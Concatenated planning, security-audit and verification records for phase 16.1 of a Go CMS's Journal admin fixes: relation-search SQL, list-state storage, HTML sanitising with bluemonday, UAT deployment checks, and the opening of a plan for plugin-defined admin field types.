+**Fix:** Make the display match the sort by sorting `values` in `relatedSelectMany` with `slices.Sort(values)` before joining. Alternatively, preload with the same order (`q.Preload(field, func(db *gorm.DB) *gorm.DB { return db.Order(column) })`) and correct the docs. Either way, add a test with related values in non-alphabetical order.
+
+## Info
+
+### IN-01: NULL placement for relation sorts differs from Winter
+
+**File:** `modules/cabana/query.go:318-332`
+**Issue:** A record with no related rows sorts on NULL. PostgreSQL puts NULLs last for ASC and first for DESC, while Winter on MySQL does the opposite. Admin users will see records without categories at the opposite end from the PHP admin.
+**Fix:** If parity matters, append `NULLS FIRST` for ASC and `NULLS LAST` for DESC to the raw order expression and to the to-one joined column.
+
+### IN-02: Relation search and sort validity is checked per request, not at compile time
+
+**File:** `modules/cabana/query.go:372-389,483-490`
+**Issue:** A `searchable: true` column on a polymorphic relation, or with a `select` the related model lacks, compiles at boot but makes every search answer 422 ("is not a searchable relation column"). Combined with WR-02, the list-state 422 handling then clears storage each time. This is a misconfiguration the admin cannot fix and that only shows up at runtime.
+**Fix:** Call `relationSubquery` for every searchable or sortable relation column during `CompileList`, or in the service constructor once the model is known, and fail boot, as the project already does for unknown column types.
+
+### IN-03: Two sources of truth for the main table name
+
+**File:** `modules/cabana/query.go:389` (`stmt.Schema.Table`) vs `modules/cabana/query.go:298,470,633-654` (`tableName(model)`)
+**Issue:** The relation subquery correlates on GORM's parsed table name, but plain search columns, filters and the primary-key tiebreak qualify with `tableName(model)`. For a model without `TableName()`, that returns `""`, and `quotedIdent(db, "")` produces `""."col"`, which is invalid SQL. This predates the phase, but the new code now mixes the two sources in one statement.
+**Fix:** Parse the model schema once in `ExecuteList` and pass `stmt.Schema.Table` to `applyListSearch`, `applyListFilters` and `applyListOrder`.

+
+## Trust Boundaries
+
+| Boundary | Description | Data Crossing |
+|----------|-------------|---------------|
+| Admin SPA → cabana list API | Authenticated backend users send search, sort and filter params that become SQL | Query params (untrusted input), list rows |
+| Post authors / import / Journal API → journal `content_html` | Markdown and raw HTML from admins, the import command and API writers is rendered and stored | Post HTML (stored, served to anonymous readers) |
+| Journal API → public Nuxt layer → browser | Stored HTML is rendered with `v-html` on public pages | Post and category HTML |
+| Admin browser storage | Remembered list queries persist across sessions on a shared browser | List query params per admin |
+| Release workstation → origin / UAT server | Tags, pushes, binary upload and restarts | Source, binary, server state |
+

+
+## Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
+|-----------|----------|-----------|----------|-------------|------------|--------|
+| T-16.1-01 | Tampering (SQLi) | modules/cabana/query.go relation search/sort | high | mitigate | Identifiers only from GORM's parsed relationship, quoted via `quotedIdent`/`qualifiedColumn`; polymorphic/unknown columns answer 422; search term `escapeLike`d and bound; sort limited to schema-declared columns and asc/desc; route behind `protect()` | closed |
+| T-16.1-02 | Tampering / EoP (stored XSS) | sm-journal-plugin classes/format_html.go | medium | mitigate | Planned regex `rejectUnsafe` proved bypassable (CR-01, 16.1-REVIEW.md). Replaced by goldmark + bluemonday allow-list on every host `content_html` writer (admin, import, API) and `CheckHTML` for categories (sm-journal-plugin a3551f2; decision note `.planning/notes/journal-html-sanitizing-bluemonday.md`); 35-payload token-checked tests; public layer replaced its regex gate with sanitize-html (vue-journal-layer 5beb1c5). Deployed to UAT: host cbb4e7d, binary e1ba3587…148ceb (server sha256 checked by the orchestrator 2026-10-09) | closed |
+| T-16.1-03 | Information Disclosure | admin/src/state/listState.ts | low | mitigate | Only list query params stored; browser storage limited to listState.ts/useSidebar.ts (enforced by scripts/check-phase10.sh). WR-03 cross-admin leak fixed in cd25af0: keys scoped `summer-admin.list:<adminId>:<controller>`, all keys cleared on logout, session expiry (`expireSession` via `onUnauthorized`) and sign-in as another admin; legacy keys swept | closed |
+| T-16.1-04 | Tampering | admin list state restore | low | mitigate | `readListState` validates shape and re-parses via `parseListQuery`; server re-validates page, per_page, sort and filters (422); a failed restored query is forgotten and the plain list reloads once (WR-02, cd25af0) | closed |
+| T-16.1-05 | DoS | cabana relation search | low | accept | See AR-01 | closed |
+| T-16.1-06 | Tampering (false-green release) | 16.1-02 release gate | medium | mitigate | Release sheet records `release-gate-ok`, counted smoke tests, vitest, dist and OpenAPI gates and the human decision verbatim (16.1-02-SUMMARY) | closed |
+| T-16.1-07 | Tampering / Repudiation | summercms v0.1.16 tag and pushes | high | mitigate | Annotated tag on d77393b containing 06d75cb, bd8626e, 9cac45c; origin tag object d8e3536 matches local; journal and host heads on origin | closed |
+| T-16.1-08 | Information Disclosure | UAT deploy | high | mitigate | DEPLOY.md rsync list excludes env files; no credentials in any SUMMARY; executors never requested or held credentials | closed |
+| T-16.1-09 | Tampering | UAT database | medium | mitigate | Read-only psql/log checks only; post data changed only by two human admin saves; `.prev` binary kept for rollback | closed |

+| T-16.1-12 | Tampering / DoS | cabana DryRun tests | low | mitigate | DryRun DBs use `DryRun: true`, `DisableAutomaticPing`, `port=1` DSN; Postgres tests use testcontainers | closed |
+| T-16.1-SC | Tampering (supply chain) | go.mod / package.json | high | mitigate | summercms.go adds no dependency; sm-journal-plugin adds bluemonday v1.0.27 (+ aymerick/douceur v0.2.0, gorilla/css v1.0.1), named in the decision note, hash-pinned, `go mod verify` clean; vue-journal-layer adds sanitize-html 2.18.0 with decision note docs/decisions/0001-sanitize-html.md | closed |
+| T-16.1-13 (audit W-1) | Tampering (stored XSS, latent) | sm-journal-plugin translated `content_html` (API syncTranslations, import) | medium | mitigate | `classes.FormatTranslation` on every API and import locale write: derived from `content` or sanitized with the same policy; default-locale bypass covered (sm-journal-plugin 0d00ec8; harness tests TestJournalAPITranslatedContentHTML, TestJournalImportTranslatedContentHTML) | closed |
+| T-16.1-14 (audit W-2) | Tampering | sm-journal-plugin FormatHTML byte-preserving shortcut (duplicate attributes) | low | mitigate | Raw attribute names compared with tokenizer output; duplicates store the sanitized output and CheckHTML refuses (sm-journal-plugin 5f47083; TestFormatHTMLDuplicateAttributes, TestRawAttrNames, TestCheckHTML cases) | closed |

+## Accepted Risks Log
+
+| Risk ID | Threat Ref | Rationale | Accepted By | Date |
+|---------|------------|-----------|-------------|------|
+| AR-01 | T-16.1-05 | Relation search uses EXISTS subqueries; the route is admin-only and page size is limited to schema options. The COUNT query evaluates EXISTS over every matching row, not one page; acceptable at current data sizes (≈100 posts) | 16.1-01 plan (accept disposition) | 2026-10-10 |
+| AR-02 | T-16.1-10 | Deploy uses a narrow sudo scope (nginx -t/reload, supervisorctl) documented in DEPLOY.md | 16.1-02 plan (accept disposition) | 2026-10-10 |
+
+---
+
+## Security Audit Trail
+
+| Audit Date | Threats Total | Closed | Open | Run By |
+|------------|---------------|--------|------|--------|
+| 2026-10-10 | 13 (register) + 2 audit warnings | 13 | 2 (below high, non-blocking) | msd-security-auditor (ASVS L1, boundary checks for T-16.1-01/02/WR-03) |
+| 2026-10-10 | 15 | 15 | 0 | orchestrator (T-16.1-13/14 fixed in 0d00ec8, 5f47083; tests re-run) |
+
+Audit notes: the auditor flagged W-3 (public layer gate) and W-4 (no record of the a3551f2 UAT deploy). W-3 is resolved by vue-journal-layer 5beb1c5; W-4 is recorded in T-16.1-02 above. The admin preview (`modules/cabana/field_markdown.go`) stays in goldmark safe mode.

+## Tests
+
+### 1. Install the hardened staging vhost on UAT (root)
+expected: Security headers present exactly once on public pages, /gfadmin unchanged in access, `nginx -t` passes
+result: pass
+evidence: |
+  2026-10-09 23:05 UTC via debian@ sudo. Backup /etc/nginx/sites-available/uat.grzybyfunkcjonalne.pl.bak-20261009T230555Z;
+  installed sha256 bce4d7f9…bd7c; `nginx -t` ok; reloaded. curl: /, a post, /_journal, a /storage 404 and /gfadmin each carry
+  HSTS, nosniff, X-Frame-Options DENY, Referrer-Policy, Permissions-Policy and CSP-Report-Only exactly once; /gfadmin keeps its
+  enforced CSP and Referrer-Policy same-origin, answers 200 without basic auth, locale cookie Secure; public paths still 401
+  off-server. On-server smoke (loopback): smoke: ok (98 urls); 200 pages show all six headers. Winter vhost untouched.
+
+### 2. Posts list search on UAT
+expected: Searching "cordyceps" at https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts returns rows (no "The list could not be loaded")
+result: pass
+evidence: user confirmed on UAT 2026-10-10 ("Confirmed")
+
+### 3. List state round trip on UAT (D-01, v0.1.17 build)
+expected: Sort plus a category filter survive opening a post and back, "Zapisz i zamknij", and leaving via the plugin rail; the URL carries them; a pasted URL in a new tab shows the same list; after logout and login the list opens unfiltered; signing in as a different admin on the same browser shows no earlier admin's search
+result: pass
+evidence: user confirmed all three sub-checks on UAT 2026-10-10 (sort/filter survive navigation; URL round trip; cleared after logout)
+
+### 4. Post form locales and fields on UAT (D-03)
+expected: An imported post's form shows pl first with title, slug, content and excerpt filled
+result: pass
+evidence: user confirmed on UAT 2026-10-10
+
+### 5. Review the prohibition verdicts
+expected: The nine prohibition verdicts in 16.1-VERIFICATION.md (all "not violated") are acceptable
+result: pass
+evidence: user reviewed the nine verdicts and replied "approved" 2026-10-10 (notes: #6 UAT vhost installed, Winter vhost untouched; #3 translated content_html derived from content when both are sent, shapes unchanged)

+
+## Test Infrastructure
+
+| Property | Value |
+|----------|-------|
+| **Framework** | Go `testing` (GORM DryRun for SQL-shape tests; testcontainers-go v0.44.0 for Postgres suites on a Docker host only); vitest + @vue/test-utils + happy-dom for the admin SPA |
+| **Config file** | none (Go); `admin/vite.config.*`, `admin/tests/setup.ts`, `admin/tests/helpers.ts` (vitest) |
+| **Quick run command** | `go test -count=1 -run '^(TestListRelationSearchSmoke\|TestListRelationSQL\|TestEnabledLocalesDefaultFirst\|TestEnabledLocalesDefaultFirstSmoke)$' ./modules/cabana` ; `go -C ../sm-journal-plugin test -count=1 ./classes/` ; `npm --prefix admin test -- tests/list/ListView.test.ts tests/form/FormView.test.ts tests/state` |
+| **Full suite command (this machine, no Docker)** | `go vet ./... && go -C ../sm-journal-plugin vet ./... && go test -count=1 ./cmd/summer -run TestDocsTree && npm --prefix admin run typecheck && npm --prefix admin test && bash scripts/check-admin-dist.sh` plus the quick Go commands |
+| **Full suite command (Docker host)** | `go test -count=1 ./...` in summercms.go and `go -C ../sm-journal-plugin test -count=1 ./...` |
+| **Estimated runtime** | ~30 s quick (Go pure tests + one vitest file set); ~3 min full local suite (dist rebuild dominates) |
+
+Docker is not usable on the planning machine (`permission denied` on the socket): `go test ./modules/cabana` and `go test -short ./...` in sm-journal-plugin fail there for every Postgres-backed test, so every per-task gate names the pure tests with `-run` and checks their `--- PASS` lines. The Postgres suites (`TestListQueryContract`, the new `TestListRelationSearchPostgres`, the new `TestPostsAdminResaveKeepsHTML`) run on a Docker host before `/msd-verify-work`.
+
+Pre-existing red, not caused by this phase: `scripts/check-phase10.sh --hygiene` already refuses `MLField.vue`, `mlLocale.ts` and `FileCaptionModal.vue` ("imported by no test"). This phase only extends that script's browser-storage allowlist and checks the storage rule with a direct grep.
+
+---
+
+## Sampling Rate
+
+- **After every task commit:** the task's own `<automated>` command (pure Go tests by name, vitest files, `go vet` of the touched package).
+- **After every plan wave:** the full local suite above; `scripts/check-admin-dist.sh` whenever `admin/` changed; `go test ./cmd/summer -run TestDocsTree` whenever `docs/` or a module README changed.
+- **Before `/msd-verify-work`:** full local suite green, Docker-host suites green, UAT smoke `smoke: ok (` on the server, and the manual UAT list below answered.
+- **Max feedback latency:** 60 seconds per task gate (the dist rebuild in plan 01 Task 4 is the slowest).

+
+| Behavior | Requirement | Why Manual | Test Instructions |
+|----------|-------------|------------|-------------------|
+| Journal posts list search on UAT returns rows (no "The list could not be loaded") | D-02 | Needs the UAT basic-auth credentials and an admin login, which the executor does not hold | In `/gfadmin/golem15/journal/posts` search "cordyceps"; rows appear. The executor then checks the Go log has no `SQLSTATE 42703` after the restart |
+| List state survives the form round trip, navigation and a shared URL | D-01 | Interactive flow on the real admin | Set a sort and a category filter, open a post, press back, then "Zapisz i zamknij" on another post: the list keeps both and the URL shows them. Leave through the rail and come back: restored. Paste the URL into a new tab: same list. Log out and in: the list opens unfiltered |
+| Imported post form shows title, slug, content and excerpt | D-03 | Real imported data on UAT | Open any imported post: the locale selector shows `pl` first and every field is filled |
+| Posts 53 and 64 get their HTML back | D-03 | Admin re-save needs credentials | Open each post and press "Zapisz"; the executor then runs the read-only SQL check (marker count 0, post 64 has its footer) |
+| Docker-host suites | D-01, D-02, D-03 | Docker unavailable on the executor machine | On a Docker host: `go test -count=1 ./...` (summercms.go) and `go -C ../sm-journal-plugin test -count=1 ./...` are green, including `TestListQueryContract`, `TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML` |

+- Docker-host suites: still pending at plan 03 time (`TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML` failed with "failed to create Docker provider", as designed). **Update 2026-10-10:** after the golem user joined the docker group, the full `go test -count=1 ./...` passed with Docker in summercms.go (37 packages, before and after cd25af0, and again for the v0.1.17 release) and in sm-journal-plugin, including `TestListQueryContract`, `TestListRelationSearchPostgres`, `TestPostsAdminResaveKeepsHTML` and the translation harness tests; the verifier re-ran them.
+- Manual UAT rows: the plan 02 executor confirmed posts 53 and 64 by read-only SQL. The list-state, form-locale and search checks were reported by the human before the re-saves reached UAT, so they stay open for `/msd-verify-work`.
+
+**Approval:** pending (manual UAT rows only; Docker-host suites green 2026-10-10)

+# Phase 16.1: Journal admin urgent fixes Verification Report
+
+**Phase Goal:** The Journal posts list and post form in the admin work on real imported data found on UAT. The fixes are released as a summercms tag, the host is bumped, UAT is redeployed and the staging smoke re-runs.
+**Verified:** 2026-10-09T23:05:00Z
+**Status:** human_needed
+**Re-verification:** No, initial verification
+
+All code, tests, tags, pushes and the deployed binary were checked against the repositories and the UAT server (read-only). Every automated must-have holds. What remains: the nginx vhost install, which needs root, and the browser checks on UAT that only a human can run.
+
+## Goal Achievement
+
+### Observable Truths
+
+**Roadmap contract (success criteria derived from the goal)**
+
+| # | Truth | Status | Evidence |
+|---|-------|--------|----------|
+| 1 | List search no longer fails with "Server error" on a belongsToMany relation | ✓ VERIFIED | `modules/cabana/query.go:369-449` builds `EXISTS (SELECT 1 FROM pivot AS cabana_p0 JOIN related AS cabana_r0 ...)` from `stmt.Schema.Relationships.Relations[field]`. `TestListRelationSearchPostgres` passed against real Postgres (run here through the Docker sudo path). The UAT Go log has 0 `SQLSTATE 42703` lines in the 32 lines since the 22:47:29 restart. |
+| 2 | List sort and filters are remembered after opening a record and going back | ✓ VERIFIED | `ListView.vue:200-221` restores the stored query before the first request. `FormView.test.ts` "returning to the list keeps its query (D-01)" covers back, cancel, save-and-close and delete. 4 files / 144 tests pass; the full suite has 76 files / 1171 tests. |
+| 3 | The post form shows the stored content | ✓ VERIFIED (code) | `http.go:986-993` moves `DefaultLocale` to index 0. `TestEnabledLocalesDefaultFirst` (12 cases) passes. The UAT `golem15_translate_locales` table has `en` at sort 1 and the default `pl` at sort 2, which confirms the root cause the fix targets. The on-UAT visual check is a human item. |
+| 4 | The post form shows the stored excerpt | ✓ VERIFIED (code) | Same mechanism as #3: the excerpt lives in the host column, under the default locale. |
+| 5 | Released as a summercms tag | ✓ VERIFIED | `git ls-remote`: v0.1.16 is d8e3536 on d77393b; v0.1.17 is c37de45 on c21fe36. v0.1.17 contains 06d75cb, bd8626e, 9cac45c, a8bce9c, 837922c and cd25af0. |
+| 6 | Host is bumped | ✓ VERIFIED | Host HEAD 0b93ac2 equals origin/master. The journal gitlink is c60abc6, equal to sm-journal-plugin origin/main. The translate gitlink is 54cf93b, the vue app gitlink is ada03b2, and go.mod requires summercms v0.1.17. |
+| 7 | UAT is redeployed | ✓ VERIFIED | Server sha256 is `e5b0ad28…3af232` and `.prev` is `e1ba3587…148ceb` (the CR-01 hotfix). The Go and Nuxt processes started at 22:47:28 and 22:47:32 UTC. |
+| 8 | The staging smoke re-runs | ✓ VERIFIED | I re-ran it on the server myself (loopback resolve, GETs only): `smoke: ok (98 urls)` |
+
+**16.1-01 must_haves**
+
+| # | Truth | Status | Evidence |
+|---|-------|--------|----------|
+| 9 | belongsToMany search goes through EXISTS, with names taken from GORM's parsed relationship | ✓ VERIFIED | `relationSubquery` uses `gorm.Statement.Parse` and `Relationships.Relations`. TestListRelationSQL covers custom `joinForeignKey`/`joinReferences` pivot names. |
+| 10 | hasMany, hasOne and belongsTo searches are correlated EXISTS; there is no outer JOIN, so a record is counted once | ✓ VERIFIED | `applyListSearch` (query.go:476-490). TestListRelationSQL checks there is no JOIN outside the subqueries next to `user_id = 7` and `id IN (3)`. The Postgres test gives total 1 for a post matching through 2 tags. |
+| 11 | A to-many sort uses `string_agg` plus the PK tiebreak; a to-one sort keeps the join | ✓ VERIFIED | query.go:313-336; TestListRelationSQL covers both directions; the Postgres test gives [2 1] and [1 2] |
+| 12 | Polymorphic relations and unknown columns give 422, never 500 | ✓ VERIFIED | query.go:378-390 refuses via `rel.Polymorphic` and `PrimaryValue`; TestListRelationSQL has 5 refusal cases |
+| 13 | meta.enabledLocales lists the default locale first | ✓ VERIFIED | http.go:986-993, TestEnabledLocalesDefaultFirst(Smoke) |
+| 14 | FormatHTML keeps imported raw HTML and dangerous markup is not stored on any write path | ✓ VERIFIED (superseded mechanism) | The plan's "refuses" became "strips" under the accepted decision note `notes/journal-html-sanitizing-bluemonday.md`, the CR-01 fix in a3551f2, which is stronger than the planned regex gate. All three write paths call FormatHTML: posts.go:213, import_posts.go:185, posts_helpers.go:511/567. Translations go through FormatTranslation (0d00ec8). Duplicate attributes are handled in 5f47083. TestFormatHTMLKeepsRawHTML and TestFormatHTMLSanitizesUnsafeHTML pass. |
+| 15 | List params stay in the URL; stored per list; an empty query is never stored | ✓ VERIFIED | `listState.ts`. The key is now `summer-admin.list:<adminId>:<controller>` (the WR-03 fix in cd25af0 is stricter than the plan's key). `writeListState` removes the key on an empty query. |
+| 16 | Entry without params restores before the first request; URL params win; logout removes every stored query | ✓ VERIFIED | ListView.vue watch; `clearUser()` calls `setListStateOwner(null)`, which removes all list keys. `main.ts:27` sends `onUnauthorized` to `expireSession`. Covered by vitest. |
+| 17 | Commits staged by path, holding only this plan's files; the journal commit in its own repo | ✓ VERIFIED | `git show --name-only` for 06d75cb, bd8626e and 9cac45c matches the plan. The one extra file in 9cac45c (`list.smoke.test.ts`) is a documented deviation. 528d2d8 is in sm-journal-plugin. |
+| 18 | go vet clean; smoke tests, vitest, TestDocsTree and the dist check green | ✓ VERIFIED | Re-run here: `go vet ./...` ok, both repos' vet ok, TestDocsTree ok, `check-admin-dist.sh` printed "matches a fresh build", vitest 1171/1171 |
+
+**16.1-02 must_haves**
+
+| # | Truth | Status | Evidence |
+|---|-------|--------|----------|
+| 19 | An annotated tag containing every 16.1-01 commit is on origin | ✓ VERIFIED | v0.1.16 and v0.1.17 are both on origin (see #5) |
+| 20 | sm-journal-plugin main with the require is on origin; the host gitlink points at it; README and DEPLOY.md lost the re-save warning | ✓ VERIFIED | c60abc6 equals origin/main and requires v0.1.17. Host gitlink c60abc6. `grep -ci 'omitted\|re-sav'` gives 0 in both README.md and DEPLOY.md. |
+| 21 | UAT runs the build; sha256 matches; both programs run; `.prev` kept; smoke ok | ✓ VERIFIED | See #7 and #8. I could not compare against the local build byte for byte; the server hash matches the release record. |
+| 22 | After the restart, no SQLSTATE 42703 (and search returns rows) | ✓ VERIFIED (log + Postgres test) | 0 in 32 lines since 22:47:29. The human search on UAT is a human item. |
+| 23 | Posts 53 and 64 repaired: no placeholder, post 64 has its footer | ✓ VERIFIED | Read-only psql now prints `0:1`. The public page `/blog/ekstrakt-z-turkey-tail` renders `<footer class="author-footer" itemscope="" ...>`, and the footer CSS is in `entry.Djv1o0WC.css`. |
+| 24 | D-01 and D-03 checked on UAT by a human (end-of-phase check) | ? UNCERTAIN (human) | The human's report predates the re-saves and the v0.1.17 deploy, so it does not count as confirmation. Routed to Human Verification. |
+
+**16.1-03 must_haves**
+
+| # | Truth | Status | Evidence |
+|---|-------|--------|----------|
+| 25 | Every piece of 16.1 code has unit tests | ✓ VERIFIED | listState.test.ts, ListView/FormView/useAuth tests, TestListRelationSQL, TestEnabledLocalesDefaultFirst, FormatHTML tests, all passing |
+| 26 | Form back, cancel, save-and-close and delete land with the stored query, and the first request carries it | ✓ VERIFIED | FormView.test.ts D-01 block passes |
+| 27 | ListView entry logic: restore, URL wins, cleared controls, same-list navigation, 422, page clamp | ✓ VERIFIED | ListView.test.ts "list state entry logic (D-01)" passes. cd25af0 adds recovery from any failed restore (WR-02). |
+| 28 | listState helpers: prefix, malformed values dropped, empty query not stored, throwing storage, clear keeps the sidebar key | ✓ VERIFIED | listState.test.ts passes |
+| 29 | DryRun SQL matrix (custom pivot keys, self-reference, soft delete, polymorphic, bound and LIKE-escaped values, no outer JOIN, sorts) | ✓ VERIFIED | `--- PASS: TestListRelationSQL` |
+| 30 | enabledContentLocales cases | ✓ VERIFIED | `--- PASS: TestEnabledLocalesDefaultFirst` |
+| 31 | FormatHTML tests: imported HTML round-trips; no unsafe case survives | ✓ VERIFIED (superseded mechanism) | "Every unsafe case returns an error" became "every unsafe case is stripped" per the bluemonday decision. TestFormatHTMLSanitizesUnsafeHTML, TestFormatHTMLDuplicateAttributes, TestCheckHTML and TestFormatTranslation pass. |
+| 32 | Postgres tests exist and pass on a Docker host | ✓ VERIFIED | Re-run here: TestListRelationSearchPostgres, TestListQueryContract, TestPostsAdminResaveKeepsHTML, TestJournalAPITranslatedContentHTML and TestJournalImportTranslatedContentHTML all PASS |
+| 33 | vet, vitest, TestDocsTree and dist green | ✓ VERIFIED | See #18 |
+
+**Score:** 32/33 truths verified (0 present-but-behavior-unverified; 1 uncertain, routed to a human)
+
+### CONTEXT decisions accounted for
+
+| Decision | Status | Where |
+|----------|--------|-------|
+| D-01 list state in the URL and localStorage, no server storage | ✓ | #2, #15, #16, #26-28; no migration, route or OpenAPI diff in 3ca6a0d..cd25af0 |
+| D-02 framework-level relation-search fix in cabana | ✓ | #1, #9-12, #17 |
+| D-03 content and excerpt shown without loss; re-save keeps HTML | ✓ code / ? UAT visual | #3, #4, #13, #14, #23; UAT visual is a human item |
+| D-04 tag, host bump, redeploy, smoke | ✓ (except the nginx vhost install) | #5-8, #19-21 |
+| D-05 three plans | ✓ | 01, 02 and 03 are all summarized |
+
+### Post-review remediation (16.1-REVIEW.md)
+
+| Finding | Status | Evidence |
+|---------|--------|----------|
+| CR-01 stored XSS | Fixed and deployed | sm-journal-plugin a3551f2 (bluemonday); the public layer uses sanitize-html (vue-journal-layer 5beb1c5, tag v0.1.1, pinned by vue app 27b3827) |
+| WR-01 "Data:" false refusal | Fixed | The regex gate is gone; TestFormatHTMLKeepsSchemeLikeText passes |
+| WR-02 restored query locks the list | Fixed | cd25af0: `loadList(restored)` forgets the query and loads the plain list once; there is a reset button |
+| WR-03 list state crosses admins | Fixed | cd25af0: per-admin keys; `clearUser` and `expireSession` clear them |
+| Audit W-1 / W-2 | Fixed | 0d00ec8 (FormatTranslation), 5f47083 (duplicate attributes); harness tests pass |
+| WR-04 relation SQL only DryRun-tested | Resolved in substance | TestListRelationSearchPostgres runs the EXISTS and string_agg SQL on real Postgres and passes |
+| WR-05 to-many sort order differs from display order | Open (warning) | `relatedSelectMany` still joins in Preload order (query.go:142, no ORDER BY). `docs/backend/lists-and-filters.md:62` still says the sort uses "the text the list shows". |
+| IN-01..03 | Open (info) | Not addressed |
+| Translate Secure cookie, app header hardening | Verified on UAT | `set-cookie: golem15.translate.locale=...; HttpOnly; Secure`; Nuxt at :3016 sends no X-Powered-By and no set-cookie |

+
+### Requirements Coverage
+
+The phase has no REQUIREMENTS.md IDs (Requirements: TBD), and REQUIREMENTS.md maps nothing to Phase 16.1, so no requirement is orphaned. The plans' `requirements:` fields name CONTEXT decisions D-01..D-04, which are covered above.
+
+### Prohibitions (judgment tier, verdicts not authoritative; flagged as unverified-prohibition, human review recommended)
+
+| # | Prohibition | LLM-judge verdict | Basis |
+|---|-------------|-------------------|-------|
+| 1 | Relation fix not Journal-specific; no consuming-application names in framework code or docs | not violated | The builder is generic over GORM relationships; grep for app names in the touched framework files is empty; TestDocsTree ok |
+| 2 | No server-side list state (table, migration, route) | not violated | No migration, route or API diff in summercms.go 3ca6a0d..cd25af0 |
+| 3 | Journal API content/content_html shapes unchanged | not violated | Only stored values change (sanitized); README says shapes and codes are unchanged |
+| 4 | cabana.RenderMarkdown stays safe-mode | not violated | `modules/cabana/field_markdown.go` has no WithUnsafe |
+| 5 | No write SQL on UAT; only human re-saves of 53/64 | not violated (from records) | Records show read-only psql only; cannot be proven after the fact |
+| 6 | Live Winter site, vhost, php-fpm and PHP DB untouched | not violated (from records) | The vhost was not installed; there is no evidence of live-site edits |
+| 7 | No credentials requested, printed or committed | not violated (from records) | SUMMARYs hold no secrets |
+| 8 | Tests touch no UAT, network or shared DB | not violated | DryRun on DSN port 1; testcontainers for Postgres |
+| 9 | Tests not weakened | not violated | Refuse cases became strip cases under the accepted bluemonday decision, and the payload set grew to 35 |
+

+
+### Human Verification Required
+
+#### 1. Install the hardened staging vhost (root)
+**Test:** Install `/srv/grzybyfunkcjonalne/deploy/grzybyfunkcjonalne-staging.conf` (host fc10094, 387d0f4) as the uat vhost, then run `nginx -t` and reload.
+**Expected:** The security headers and CSP Report-Only appear on UAT responses, the `/gfadmin` auth_basic exemption still holds, and the smoke still passes.
+**Why human:** It needs root on the server. Today the enabled vhost does not have CSP-RO.
+
+#### 2. UAT posts list search
+**Test:** Search "cordyceps" in `/gfadmin/golem15/journal/posts`.
+**Expected:** Rows appear and no SQLSTATE 42703 shows up in the log.
+**Why human:** It needs basic auth and an admin login. The Go log does not record successful queries.
+
+#### 3. UAT list state round trip (D-01)
+**Test:** Set a sort and a category filter. Go open post → back, then save-and-close, then rail navigation. Paste the URL in a new tab. Log out and back in.
+**Expected:** State is kept and visible in the URL. After logout and login the list opens unfiltered.
+**Why human:** It is an interactive flow. The earlier human report predates the v0.1.17 deploy.
+
+#### 4. UAT post form locales and fields (D-03)
+**Test:** Open an imported post.
+**Expected:** `pl` is first, and title, slug, content and excerpt are filled.
+**Why human:** It is a visual check on real data.
+
+#### 5. Judgment-tier prohibitions
+**Test:** Review the nine verdicts above.
+**Expected:** Accept or overturn each one.
+**Why human:** The verifier's verdicts are not authoritative.
+
+### Gaps Summary
+
+There are no blocking gaps. Every roadmap criterion and plan must-have I could check automatically holds in the code, the tests (including the Docker-backed Postgres suites, which I re-ran), the tags and pushes, and the deployed UAT server (binary hash, smoke, log, SQL, public headers, post-64 footer). Two plan wordings were superseded by stricter post-review fixes, and both are recorded in an accepted decision note or a commit:
+- FormatHTML now strips unsafe markup with bluemonday instead of refusing it with a regex.
+- List-state keys are now scoped per admin.
+
+Still open:
+- **Human items:** the root-only nginx vhost install, and the three UAT browser checks.
+- **WR-05:** a non-blocking warning. The docs sentence on to-many sort order is inaccurate.

+- `scripts/check-phase10.sh --hygiene` refuses 5 findings, all in files this plan does not touch. Because the clean scratch copy fails, `--self-test` also refuses ("self-test hygiene rejected the clean scratch copy"):
+  - `admin/src/api/files.ts:150`: `new XMLHttpRequest()` outside `admin/src/api/client.ts`.
+  - `admin/src/api/files.ts`: an unexpected file in `admin/src/api`.

+
+  The browser-storage rule that plan 01 changed passes: `listState.ts` is allowed, and `listState.ts` is imported by `admin/tests/list/ListView.test.ts`.
+- Each Docker-backed test in `modules/cabana` fails on this machine with "permission denied" on the Docker socket (217 failures in `go test ./modules/cabana`, each reporting a Docker error). This is the known environment limit; run that suite on a machine with Docker before the plan 02 tag.

+    - "D-10 (framework half, amended 2026-10-10): a Decode may return pact.FormFieldNotice values next to the value it stores (for example what a sanitizer removed); cabana localizes them in the request locale and answers the create or update with meta.notices [{field, locale, message}]; a save whose Decode calls returned no notice answers exactly today's JSON (no notices key); the admin SPA shows each notice under its field and in the saved toast, and reloads the stored value from the response into the form and the element."

+    - "D-13: after login the admin SPA loads every registered field type's scripts once and its stylesheets globally (never disabled on navigation); a field with an element renders through PluginField (MLPluginField when translatable) in any controller's form, binds the element's value property and takes summer-change events as the new form value."
+    - "D-18 (framework half): POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload is owned by cabana (backend guard, X-Requested-With, controller permissions, field context, FormExtendQuery record scope, http.body_limits.upload_bytes) and answers 201 {data:{url}} from the type's Upload; the SPA performs the upload for the element on summer-upload and answers with summer-upload-result."
+    - "D-15: the form schema carries plugin fields generically (element, translatable, typeOptions); admin/openapi/admin.json and admin/src/api/schema.d.ts are regenerated, modules/boardwalk/dist is rebuilt, and the pact and cabana READMEs plus docs/backend/field-types.md describe the API with neutral names."

+
+## Phase Goal
+
+ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
+
+This plan's slice (user decision 1, plan 01): the framework half in summercms.go. A plugin registers a value-bearing field type through `pact`; cabana compiles, decodes, loads, lists, uploads and stores it (ML included); the admin SPA hosts its element globally. Framework first: plans 02 and 03 build the Journal editor on this API.
+
+## Revision 2026-10-10 (CONTEXT D-10 amended)
+
+D-10 now strips instead of refusing, and an admin save must tell the admin what was removed. That report is a generic field-type capability, not Journal code in cabana: `Decode` returns `pact.FormFieldDecoded{Value, Notices}`, cabana localizes the notices and answers the save with `meta.notices`, and the SPA shows them and reloads the stored value. `pact.FormFieldError` (422) stays for values a type cannot accept at all, such as a non-string. The release tag named in Task 1 is now v0.1.18 or the next free v0.1.x, because 16.1 already tagged v0.1.17. Everything else in this plan is unchanged.
+
+RESEARCH and PATTERNS were written before 16.1 replaced the Journal regex gate with bluemonday and before D-10 was amended. Where they say "CheckHTML refuses" or "no sanitizer", this plan's text wins.
+
+## Spec-less probe fallback
+
